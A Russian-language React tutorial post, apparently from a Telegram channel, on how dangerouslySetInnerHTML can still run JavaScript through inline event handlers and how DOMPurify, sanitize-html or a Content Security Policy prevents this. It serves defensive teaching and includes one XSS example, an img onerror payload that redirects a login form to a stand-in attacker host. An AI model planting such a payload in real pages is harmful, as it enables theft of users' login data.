Русский
Открыть в Telegram

ПостБезопасное использование dangerouslySetInnerHTML

15 ноября 2024
З
Заметки про React
Ссылка
нажмите — покажем
Безопасное использование dangerouslySetInnerHTML В своем блоге Алекс Макартур рассказал о безопасном использовании dangerouslySetInnerHTML. По умолчанию, dangerouslySetInnerHTML не даст запустить <script> внутри переданного HTML, т.к. основан на innerHTML, который запрещает это делать. Однако есть другая возможность выполнить JavaScript внутри dangerouslySetInnerHTML – через inline-обработчики события. Пример кода, который выполнится и может украсть личную информацию пользователя: const App = () => { return ( <div dangerouslySetInnerHTML={{ __html: ` <img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'"> `}}></div> ); } Если вы собираетесь сделать dangerouslySetInnerHTML полностью безопасным, то есть два варианта: Content Security Policy или HTML санитайзер. Пытаться сделать свой HTML санитайзер бесполезно, есть много разных способов выполнения JavaScript, о которых можно не знать, например через псевдопротокол javascript://. Лучше используйте популярные библиотеки DOMPurify или sanitize-html. Если хотите быть уверены в безопасности dangerouslySetInnerHTML, то используйте Content Security Policy. Пример кода, который полностью запретит все inline-обработчики и javascript:// протокол: Content-Security-Policy: "script-src 'self'"; https://macarthur.me/posts/safer-dangerouslysetinnerhtml/
32 · 3.3K ·

Рядом в ленте

ЗЗаметки про ReactДва пути к двум React Интересные мысли о разном видении интеграции современных функций React в Next.js и TanStack Start. ✨ Next.js – одна из самых популярных биЗЗаметки про ReactУправление стейтом в URL в Next.js App Router В своей статье Аврора Шарфф на примере компонента фильтра показывает, что не так просто управлять стейтом в URL se
это сообщение
ЗЗаметки про ReactСохраняйте один уровень абстракции для каждой функции Представьте компонент, который показывает информацию о текущем пользователе и статус активен ли пользоватеЗЗаметки про ReactРелиз React Router v7 Вышел релиз React Router v7. В новой версии можно использовать React Router в двух вариантах: как полноценный фулстек фреймворк (типа Remi
ЗЗаметки про ReactЗаметки про React@ru_react_notes · канал · Технологии
3 412подписчиков491постов в индексе
Лента площадки Открыть в Telegram

Открытая публичная лента из поискового индекса ChatCrawler — «Google по публичному Telegram»; обновляется по мере обхода площадки. Время — UTC.

Только публичный контент, официальный API Telegram. О проекте · Вопросы · Границы индекса · Убрать страницу из выдачи · Каталог · Поиск · Как мы считаем